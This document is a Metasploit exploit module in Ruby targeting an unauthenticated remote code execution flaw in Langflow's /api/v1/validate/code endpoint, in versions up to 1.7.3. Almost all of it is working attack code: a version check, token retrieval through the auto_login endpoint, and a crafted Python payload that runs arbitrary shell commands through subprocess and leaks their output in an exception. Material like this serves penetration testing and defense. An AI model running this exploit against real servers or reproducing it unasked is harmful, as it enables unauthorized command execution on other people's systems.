Langflow Unauthenticated RCE (validate endpoint)

# frozen_string_literal: true

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Langflow Unauthenticated RCE (validate endpoint)',
        'Description' => %q{
          Langflow versions up to and including 1.7.3 contain a remote code
          execution vulnerability in the `validate` endpoint where unsanitized
          values in `exec_globals`/`code` allow an attacker to execute arbitrary
          Python code. This module abuses the `/api/v1/auto_login` (or
          `/api/v1/login`) and `/api/v1/validate/code` endpoints to execute an
          arbitrary Metasploit command payload.
        },
        'Author' => ['Diamorphine', 'bhaskarbhar'],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2026-0770' ],
          [ 'EDB', '52597' ]
        ],
        'DisclosureDate' => '2026-05-23',
        'Targets' => [
          [
            'Automatic',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(7860),
      OptString.new('TARGETURI', [ true, 'The base path to Langflow', '/' ]),
      OptString.new('USERNAME', [ false, 'Username for login (if auto-login disabled)' ]),
      OptString.new('PASSWORD', [ false, 'Password for login (if auto-login disabled)' ])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/api/v1/version')
    )

    return Exploit::CheckCode::Unknown('Unexpected server response') unless res&.code == 200

    version_string = res.get_json_document&.dig('version')
    return Exploit::CheckCode::Unknown('Unable to determine Langflow version') unless version_string

    version = Rex::Version.new(version_string)

    if version <= Rex::Version.new('1.7.3')
      Exploit::CheckCode::Appears("Langflow #{version} appears to be vulnerable")
    else
      Exploit::CheckCode::Safe("Langflow #{version} is not vulnerable")
    end
  rescue ArgumentError
    Exploit::CheckCode::Unknown('Unable to parse Langflow version response')
  end

  def exploit
    token = obtain_token
    fail_with(Failure::Unknown, 'Failed to obtain an access token') if token.nil?

    # JSON encoding produces escape sequences that are also valid in Python strings.
    command = payload.encoded.to_json

    code = <<~PY
      def exploit(
          _=( lambda r: (_ for _ in ()).throw(Exception(f"{r.stdout}{r.stderr}")) )(
              __import__('subprocess').run(#{command}, shell=True, capture_output=True, text=True)
          )
      ):
          pass
    PY

    body = { 'code' => code }

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/v1/validate/code'),
      'ctype' => 'application/json',
      'data' => body.to_json,
      'headers' => { 'Authorization' => "Bearer #{token}" }
    )
  end

  def obtain_token
    # Try username/password login first if provided
    if datastore['USERNAME'] && datastore['PASSWORD']
      login_res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, '/api/v1/login'),
        'vars_post' => {
          'username' => datastore['USERNAME'],
          'password' => datastore['PASSWORD']
        }
      )

      if login_res && login_res.code == 200
        json = login_res.get_json_document
        return json['access_token'] if json && json['access_token']
      end
    end

    # Try auto_login (unauthenticated) endpoint
    auto_res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/api/v1/auto_login'))
    if auto_res && auto_res.code == 200
      json = auto_res.get_json_document
      return json['access_token'] if json && json['access_token']
    end

    nil
  end
end